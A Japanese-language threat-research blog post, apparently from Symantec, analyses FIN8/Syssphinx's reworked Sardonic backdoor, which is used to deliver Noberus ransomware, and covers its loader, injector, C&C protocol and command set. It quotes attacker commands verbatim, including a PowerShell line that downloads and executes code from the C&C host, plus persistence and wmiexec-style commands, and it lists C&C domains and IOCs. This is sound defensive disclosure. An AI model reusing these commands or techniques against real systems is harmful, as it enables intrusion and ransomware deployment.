FIN8、Sardonicバックドアの改良版でNoberusランサムウェア配信

金銭目的のサイバー犯罪グループによるツールと戦術の開発や改良が続いています。

Broadcomの一部門であるシマンテックの脅威調査チームは先日、サイバー犯罪グループ「Syssphinx」(別名「FIN8」)が、Sardonicバックドアの亜種を展開してNoberusランサムウェアを配信していることを確認しました。 

バックドアを分析したところ、これはSardonicのフレームワークの一部で、グループが以前に使用していたものであり、Bitdefenderのレポート(2021年)でも分析が行われていたことが明らかになりました。また一方で、バックドアの機能のほとんどが改良され、様相も新しくなっているようです。 

Syssphinx

Syssphinx(別名FIN8)は、金銭目的のサイバー犯罪グループです。ホスピタリティ、小売、娯楽、保険、テクノロジー、化学、金融部門を標的にすることで知られるグループで、遅くとも2016年1月から活動していると言われています。 

このグループは、いわゆる「現地調達型」の手口を使うことで知られています。PowerShellやWMIなど、組み込み型のツールやインターフェイスを利用したり正規のサービスを悪用することで自分たちの活動を偽装します。ソーシャルエンジニアリングとスピアフィッシングは、いずれもこのグループが最初の侵害に好んで用いる手法です。

Syssphinxとランサムウェア

Syssphinxは当初、POS(販売時点情報管理)攻撃に特化していましたが、ここ数年、このグループは攻撃において多くのランサムウェアの脅威を使用していることが確認されています。

2021年6月、Syssphinxが、米国の金融サービス会社のコンピュータにRagnar Lockerランサムウェアを展開していたことが確認されました。このコンピュータは、当年初めにSyssphinxに侵害されたものでした。この活動により、同グループの攻撃においてランサムウェアが使用されていることが初めて確認されました。Ragnar Lockerは、シマンテックがHornworm(別名Viking Spider)と呼ぶ、金銭目的のサイバー犯罪グループが開発したものです。 

2022年1月、White Rabbitと呼ばれるランサムウェアファミリーがSyssphinxに関連付けられました。White Rabbit攻撃に関連付けられた悪意のあるURLは、Syssphinxにも関連付けられていました。さらに、White Rabbitを使用した攻撃では、Syssphinxの既知のツールであるSardonicバックドアの亜種が使用されました。

2022年12月、シマンテックでは、攻撃の中でNoberus(別名ALPHV、BlackCat)ランサムウェアを展開しようとしているグループを確認しました。Noberusは、シマンテックがCoreid(別名Blackmatter、Carbon Spider、FIN7)と呼ぶ、金銭目的のサイバー犯罪グループの間で使用されています。

Syssphinxグループのランサムウェアへの移行は、脅威アクターが、侵害された組織からの利益を最大化するために、その焦点を多様化している可能性を示唆しています。 

バックドア

Syssphinxは、攻撃活動の間隔を長く空けることで知られています。戦術、技術、手順(TTP)の改善を図る目的です。 

たとえば、2019年以降、Syssphinxは攻撃にBadhatchと呼ばれるバックドアマルウェアを使用していました。Syssphinxは2020年12月にBadhatchを更新し、2021年1月にも再び更新しました。その後、2021年8月にBitdefenderの研究者によりSardonicと呼ばれる新たなバックドアの詳細情報が発表され、同じグループに関連付けられました。C++ベースのSardonicバックドアは、システム情報を収集してコマンドを実行する機能があります。さらに、備えられているプラグインシステムでは、DLLとして配布された新たなマルウェアペイロードをロードして実行できるようになっています。 

2022年12月にシマンテックが確認したSyssphinx攻撃では、Noberusランサムウェアの展開が試行されていましたが、2021年にBitdefenderの研究者が述べていたSyssphinx攻撃と同様の手法が確認されました。 

しかし、直近の攻撃では重要な違いがいくつかありました。例えば、最終ペイロードがNoberusランサムウェアであることや、バックドアの改良版が使用されていることなどが挙げられます。

このブログで分析したSardonicバックドアの改良版は、Bitdefenderが分析したC++ベースのSardonicバックドアと多くの特徴を共有しています。ただし、バックドアのコードのほとんどは書き換えられているため、様相が新しくなっています。興味深いことに、バックドアのコードはもはやC++標準ライブラリを使用しておらず、オブジェクト指向の機能のほとんどは、プレーンなC実装に置き換えられています。 

さらに、いくつかの手直しが不自然に見えることから、脅威アクターの主な目的は、以前に公開された詳細との類似性を避けることである可能性が示唆されます。たとえば、ネットワーク経由でメッセージを送信する場合、メッセージの解釈方法を指定するオペコードがメッセージの変数部分の後に移動しており、この変更はバックドアのロジックに複雑さを加えています。

Syssphinxの既知の手法がまだ使用されていたことから、この目標はバックドア自体に限定されているようです。 

攻撃者の活動

2022年12月のインシデントの際、攻撃者はPsExecに接続し、「quser」コマンドを実行してセッションの詳細情報を表示し、次のコマンドを実行してバックドアを起動しました: 

powershell.exe -nop -ep bypass -c iex (New-Object System.Net.WebClient).DownloadString('https://37-10-71-215[.]nip[.]io:8443/7ea5fa')

次に、攻撃者はバックドアに接続して、感染したコンピュータの詳細情報を確認してから、永続性を確立するコマンドを実行しました。 

powershell -nop -ep bypass -c CSIDL_WINDOWS\temp\1.ps1 2BDf39983402C1E50e1d4b85766AcF7a

その結果、Bitdefenderの説明と同様のプロセスが実行されました。

powershell.exe -nop -c [System.Reflection.Assembly]::Load(([WmiClass] 'root\cimv2:System__Cls').Properties['Parameter'].Value);[a8E95540.b2ADc60F955]::c3B3FE9127a()

翌日、攻撃者は永続的なバックドアに接続しましたが、いくつかの基本コマンドを実行した後、一旦活動を中断しました。およそ30分後、攻撃者はImpacketのwmiexec.pyのようなものを使用して活動を再開し、新たなバックドアを起動するプロセスが開始されました。

cmd.exe /Q /c powershell -nop -ep bypass -c CSIDL_SYSTEM_DRIVE\shvnc.ps1 1> \\127.0.0.1\ADMIN$\__1671129123.2520242 2>&1

この新たなバックドアは、その後数時間にわたり攻撃者によって使用されました。

興味深いことに、新たなバックドアのPowerShellスクリプトでは、新しいファイル名が使用され、復号キーの引数を削除することでコマンドラインが簡素化されています。このようなツールの切り替えは、攻撃者が新しい機能をテストしていることを示している可能性がありました。そこで、この新しいサンプルを詳細に分析してみたいという考えに至りました。 

技術的分析

Bitdefenderが説明した攻撃とシマンテックが確認した最近の攻撃の違いの1つに、バックドアの展開で使用された手法が挙げられます。当社が確認したものでは、対象コンピュータに感染させるときに使用するPowerShellスクリプト(図1参照)にバックドアが(間接的に)埋め込まれています。一方、Bitdefenderによって文書化された亜種は、バックドアをダウンロードして実行する中間ダウンローダのシェルコードを備えています。 

図 1.PowerShellスクリプトには.NETローダーが2つ(32ビットと64ビット)あり、それぞれにインジェクタとバックドアが組み込まれている
図 1.PowerShellスクリプトには.NETローダーが2つ(32ビットと64ビット)あり、それぞれにインジェクタとバックドアが組み込まれている

PowerShellスクリプト

Syssphinxで使用されているPowerShellスクリプトを図2に示します。

図 2.Syssphinxで使用されているPowerShellスクリプト
図 2.Syssphinxで使用されているPowerShellスクリプト

コードの1行目は、PowerShellスクリプトファイル自体の削除を意味します。2行目は、現行プロセスのアーキテクチャをチェックし、エンコードされた.NETローダーのバージョン(32ビットまたは64ビット)を適切に選択します。3行目は、.NETローダーのバイナリをデコードし、現行のプロセスにロードします。最後に、コードの4行目は.NETローダーの主要機能を起動します。ここで、インジェクタとバックドアが復号化され、制御機能がインジェクタに渡されます。

.NETローダー

.NETローダーは難読化された.NET DLLです。難読化により、ConfuserExの特定機能を明らかにすることができます。 

.NET ローダーには2つのブロブが含まれており、まずハードコードされた復号化キーを使用してRC4アルゴリズムで復号化してから解凍します。解凍されたブロブは、連続したメモリチャンクにコピーされます。次に、.NETローダーは1つ目のブロブ(バックドア)のメモリ位置とサイズをパラメータとして渡し、2つ目のブロブ(インジェクタ)に制御を移します。

インジェクタ

インジェクタはシェルコードの形式となります。エントリーポイントは図3のとおりです。

図 3.インジェクタのエントリーポイント
図 3.インジェクタのエントリーポイント

図3のdecrypt_dwordsサブルーチンでは、いくつかのDWORD(図3でencrypted_dwordsとしてマークされている)が復号化され、短縮されたコードチャンクが明らかになっています。これらのコードは図4のとおりです。記載の復号化ループは、Bitdefenderのレポートに記載されている「シェルコード復号化ルーチン」と似ています。 

図 4.decrypt_dwordsサブルーチンで示されたコード
図 4.decrypt_dwordsサブルーチンで示されたコード

復号化ループの実行が完了すると、エントリーポイントのロジック全体が確認できます(図5)。 

図 5.エントリポイントのロジック全体
図 5.エントリポイントのロジック全体

インジェクタの目的は、新たに作成されたWmiPrvSE.exeプロセスでバックドアを起動することです。インジェクタは、WmiPrvSE.exeプロセスを作成するとき、Lsass.exe プロセスから盗み出したトークンを使用して、セッション0(ベストエフォート)で起動を試行します。 

バックドア

バックドアもシェルコードの形式となります。エントリーポイントは、多形を除きインジェクタのエントリーポイントと似ています。

インタラクティブセッション

バックドアの興味深い特徴の1つに、バックドアがインタラクティブセッションと関連していることが挙げられます。ここで攻撃者は、感染したコンピュータ上でcmd.exeなどのインタラクティブプロセスを実行します。興味深いことに、サンプルでは最大10個のセッションを同時に実行することができます。さらに、攻撃者は各プロセスを開始する際、セッションごとに異なる特定のプロセスIDから盗み出したプロセストークンを使用することができます。 

拡張機能

もう1つの注目すべき特徴としては、機能を拡張できるように、バックドアは3つの異なるフォーマットをサポートしていることが挙げられます。 

1つ目は、PE DLLプラグインを備え、自身のプロセス内でバックドアをロードし、次の呼び出しを行います。

  • ロード時の「Start」エクスポート(存在する場合)。次の引数を使用:
    • 以下のパラメータ配列の長さ
    • リモート攻撃者から受け取った引数へのポインタを含むパラメータ配列のアドレス
    • リモート攻撃者に送信するためのアウトプットを収集する1024バイトのバッファ
  • アンロード時の「End」エクスポート(存在する場合)。次の引数を使用:
    • 0(ハードコード済み)
    • リモート攻撃者に送信するためのアウトプットを収集する1024バイトのバッファ

バックドアでサポートされているフォーマットの2つ目は、シェルコードの形式となり、各シェルコードのプラグインは独自の専用プロセスで実行されます。シェルコードを起動する前に、バックドアは新しいプロセスを作成し、リモート攻撃者から受け取った引数のコピーが単純な構造体に格納される前にシェルコードのブロブをメモリに書き込みます。その後、QueueUserAPC APIを使用してシェルコードを実行し、前述の構造体のアドレスが最初で唯一のシェルコードの引数として渡されます。シェルコードプラグインをアンロードするには、バックドアは単に指定されたプラグインに関連付けられたプロセスを終了します。 

最後に3つ目のフォーマットです。これもシェルコードの形式となりますが、引数を渡す規則が異なります。バックドアのメインスレッドのコンテキストでバックドアがこのシェルコードを実行します。シェルコードが戻るまで、他のコマンドは受け付けません。シェルコードを実行する場合は、バックドアが、4つの引数を渡すサブルーチンとしてシェルコードを呼び出すのみとなります。それぞれが、リモート攻撃者から受け取った該当の引数のアドレスを提供します(32ビットシェルコードの場合、アドレスを渡すときにバックドアは64ビット値を使用すると思われます)。 

ネットワーク通信

コマンド&コントロール(C&C)サーバーと通信する場合、バックドアは表1の構造を使用して、可変サイズに関するメッセージのやり取りを行います。

表1.バックドアのC&Cメッセージ構造
オフセットサイズ説明
0DWORDヘッダー
4body_sizeバイト本体:
4 + body_size8バイトフッター

本文フィールドのサイズ(body_size)は、次のセクションで説明するように、ヘッダーフィールドの内容から判断することができます。

初期メッセージ

バックドアは、C&Cサーバーに接続すると、下記と併せて0x10Cバイトの初期メッセージを送信します。

  • ヘッダーフィールド値0xFFFFCC0(ハードコード済み)
  • 初期化されていないフッターフィールド

初回メッセージの本文フィールドは0x100バイトで、表2に示す構造を使用します。

表2.初期メッセージの本文フィールド構造
オフセットサイズ説明
0DWORDバックドアアーキテクチャ。値0は32ビットシェルコード、値1は64ビットシェルコードを示します
4DWORDrc4_key_size
80x25バイトランダムパディング
0x2D0x20バイトrc4_keyを暗号化キーとしてRC4アルゴリズムで暗号化されたinfection_id
0x4D0x5Bバイトパディング
0x88rc4_key_sizeバイトrc4_key
0x88 + rc4_key_size0x100 - (0x88 + rc4_key_size) バイトランダムパディング

rc4_keyフィールド(rc4_key_size)のサイズは常に0x40バイトです。

以下のスニペットでは、infection_idの生成でバックドアが使用する手法が大まかに示されています。

uint16_t sum_words(void *data, size_t size)

{

   uint16_t *words = data;

   uint16_t sum = 0;

   while (size >= sizeof(*words)) {

        size -= sizeof(*words);

        sum += *words++;

   }

   return sum;

}

 

void mix(char *identifier, size_t identifier_size, char *seed, size_t seed_length)

{

   const char hex_digits[] = "0123456789ABCDEF";

 

   size_t index = 1;

   for (size_t position = 1; position < identifier_size; position += 2) {

        int value = index * ~(

            seed[(index - 1) % seed_length]

            + seed[(index % identifier_size) % seed_length]

            + seed[((index + 1) % identifier_size) % seed_length]

            + seed[((index + 2) % identifier_size) % seed_length]

        );

        ++index;

 

        identifier[position - 1] = hex_digits[(value >> 4) & 0x0f];

        identifier[position] = hex_digits[value & 0x0f];

   }

}

 

void generate_infection_id(char *infection_id, size_t infection_id_size)

{

   CHAR computer_name[0x400] = {};

   DWORD computer_name_size = sizeof(computer_name);

   GetComputerNameA(computer_name, &computer_name_size);

 

   int cpu_info[4] = {};

   __cpuid(cpu_info, 0);

 

   DWORD volume_serial_number = 0;

   GetVolumeInformationA("c:\\", 0, 0, &volume_serial_number, 0, 0, 0, 0);

 

   char seed[0x410];

   size_t seed_length = snprintf(seed, sizeof(seed), "%s%hu%hu",

        computer_name,

       sum_words(cpu_info, sizeof(cpu_info)),

        sum_words(&volume_serial_number, sizeof(volume_serial_number)));

 

   mix(infection_id, infection_id_size, seed, seed_length);

}

その他のメッセージ

以降のすべての通信(着信および発信)において、バックドアは次の手法で本文フィールド(body_size)のサイズを判断します。

  • 各着信メッセージのヘッダーフィールド値が0xFFFFFE78(ハードコード済み)の場合、body_sizeは0x80となります。
  • それ以外の場合はすべて、body_sizeは単純にヘッダーフィールドの値となります。

本文およびフッターフィールドの内容は、暗号化キーとしてrc4_keyを使用してRC4アルゴリズムで暗号化されます。キーストリームは、個々のフィールドを暗号化するときに再利用されます。 

フッターフィールドは8バイトです。復号化されると、表3の構造が使用されます。 

表3.復号化されたフッターフィールドの構造
オフセットサイズ説明
0DWORD発信メッセージの場合、body_size値(冗長)が含まれます。受信メッセージの場合、本文フィールドの使用済み部分が示されていると思われます(ただし、これに依存しているのは一部の実装例だけです)。
4DWORDmessage_type

最後に、復号化された本文フィールドの構造はmessage_typeによって異なります。 

コマンドの認識

バックドアは、表4のコマンドを受け取って実行することができます。

表4.バックドアが認識できるコマンド
コマンド(message_type)説明
0x24Cバックドアエントリーポイントの呼び出し元に戻ってバックドアを終了します。
0x404バックドアを終了して、バックドアが実行されるプロセスを終結させます。
0x224リモート攻撃者から提供されたコンテンツを含む任意の新しいファイルをドロップします。
0x1FC任意のファイルのコンテンツをリモート攻撃者に漏えいします。
0x2F0指定のインタラクティブセッションがまだ有効化されていない場合、バックドアはセッションを作成して、新たな「cmd.exe」プロセスの実行を試行します。その後、最初の実行コマンドとして、生成されたプロセスの標準入力に「chcp 65001」と書き込み、改行を入れます。最後にバックドアが、感染したコンピュータ名(GetComputerName APIごとに)をリモート攻撃者に報告します。指定のインタラクティブセッションが既に存在する場合、バックドアはリモート攻撃者から受け取ったデータを、そのセッションで既に実行されているアクティブプロセスの標準入力に渡すだけです。
0x184指定のインタラクティブセッションを作成または更新し、盗み出したトークンで任意の新規プロセスを実行します。リモート攻撃者から受け取ったデータが解析され、次のパラメータが認識されます。「-i [TOKEN_ID]」(必須):トークンの窃盗先のプロセスID、「-c [COMMAND_LINE」(任意):実行するコマンドライン。省略されている場合、バックドアは「cmd.exe」を使用します。
0x1AC指定のインタラクティブセッションで実行されている「盗まれたトークン」のプロセスをすべて終結させます。
0x1D4指定のインタラクティブセッション(存在する場合)を終了して、当該セッションで実行されているすべてのプロセスを終結させます。
0x274リモート攻撃者から提供されたDLLプラグインをロードします。その際、プラグインを識別するための任意の名前と、プラグイン初期化のサブルーチンの引数も提供されます。同じ名前で識別されるDLLプラグインが既に存在する場合は、まず最初にそのプラグインがアンロードされます。
0x29Cリモート攻撃者が指定した名前で識別されるDLLプラグインをアンロードします。
0x4F4リモート攻撃者から提供されたシェルコードのプラグインを起動します。その際、プラグインを識別するための任意の名前、トークンの窃盗先のプロセスID、シェルコードの引数として渡す任意のデータも提供されます。各シェルコードのプラグインは、新たに作成された「WmiPrvSE.exe」プロセスで実行されます。その際、指定のプロセスから盗み出したトークンが使用される場合があります(ベストエフォート)。同じ名前で識別されるシェルコードのプラグインが既に存在する場合は、まず最初に「WmiPrvSE.exe」プロセスを終結させて、そのプラグインを破棄します。
0x454現行のスレッドのコンテキストで、リモート攻撃者から提供されたシェルコードを実行します。これは、プラグインインフラストラクチャと切り離されているものです。シェルコードのパラメータを渡す際に使用する規則も異なります。

継続的な脅威 

Syssphinxは、自分たちの能力とマルウェア配信インフラストラクチャの継続的な開発や改善を図り、検出を回避するためにツールや戦術を定期的に改良しています。POS(販売時点情報管理)攻撃からランサムウェアの展開へと拡げていこうとするグループの決断は、脅威アクターが、標的組織から最大限の利益を得ることに専念していくことの表れです。このレポートで詳述したツールや戦術は、このような高度なスキルを有する金銭的脅威のアクターが、依然として組織にとって深刻な脅威であることを明確に物語っていると言えます。  

保護

Symantec Protection Bulletinで保護に関する最新情報をご確認ください。

侵害の痕跡

IOCが悪意のあるもので、シマンテックが入手できるファイルであれば、Symantec Endpoint製品はそのファイルを検知し、ブロックします。

SHA256ファイルハッシュ:

1d3e573d432ef094fba33f615aa0564feffa99853af77e10367f54dc6df95509 – PowerShellスクリプト

307c3e23a4ba65749e49932c03d5d3eb58d133bc6623c436756e48de68b9cc45 – Hacktool.Mimikatz

48e3add1881d60e0f6a036cfdb24426266f23f624a4cd57b8ea945e9ca98e6fd – DLLファイル

4db89c39db14f4d9f76d06c50fef2d9282e83c03e8c948a863b58dedc43edd31 – 32ビットシェルコード

356adc348e9a28fc760e75029839da5d374d11db5e41a74147a263290ae77501 – 32ビットシェルコード

e7175ae2e0f0279fe3c4d5fc33e77b2bea51e0a7ad29f458b609afca0ab62b0b – 32ビットシェルコード

e4e3a4f1c87ff79f99f42b5bbe9727481d43d68582799309785c95d1d0de789a – 64ビットシェルコード

2cd2e79e18849b882ba40a1f3f432a24e3c146bb52137c7543806f22c617d62c – 64ビットシェルコード

78109d8e0fbe32ae7ec7c8d1c16e21bec0a0da3d58d98b6b266fbc53bb5bc00e – 64ビットシェルコード

ede6ca7c3c3aedeb70e8504e1df70988263aab60ac664d03995bce645dff0935

5b8b732d0bb708aa51ac7f8a4ff5ca5ea99a84112b8b22d13674da7a8ca18c28

4e73e9a546e334f0aee8da7d191c56d25e6360ba7a79dc02fe93efbd41ff7aa4

05236172591d843b15987de2243ff1bfb41c7b959d7c917949a7533ed60aafd9

edfd3ae4def3ddffb37bad3424eb73c17e156ba5f63fd1d651df2f5b8e34a6c7

827448cf3c7ddc67dca6618f4c8b1197ee2abe3526e27052d09948da2bc500ea

0e11a050369010683a7ed6a51f5ec320cd885128804713bb9df0e056e29dc3b0

0980aa80e52cc18e7b3909a0173a9efb60f9d406993d26fe3af35870ef1604d0

64f8ac7b3b28d763f0a8f6cdb4ce1e5e3892b0338c9240f27057dd9e087e3111

2d39a58887026b99176eb16c1bba4f6971c985ac9acbd9e2747dd0620548aaf3

8cfb05cde6af3cf4e0cb025faa597c2641a4ab372268823a29baef37c6c45946

72fd2f51f36ba6c842fdc801464a49dce28bd851589c7401f64bbc4f1a468b1a

6cba6d8a1a73572a1a49372c9b7adfa471a3a1302dc71c4547685bcbb1eda432

ネットワークの痕跡:

37.10.71[.]215 – C&Cサーバー

api-cdn[.]net

git-api[.]com

api-cdnw5[.]net

104-168-237-21.sslip[.]io

You might also enjoy

Explore Upcoming Events

Find experts in the wild

See what's next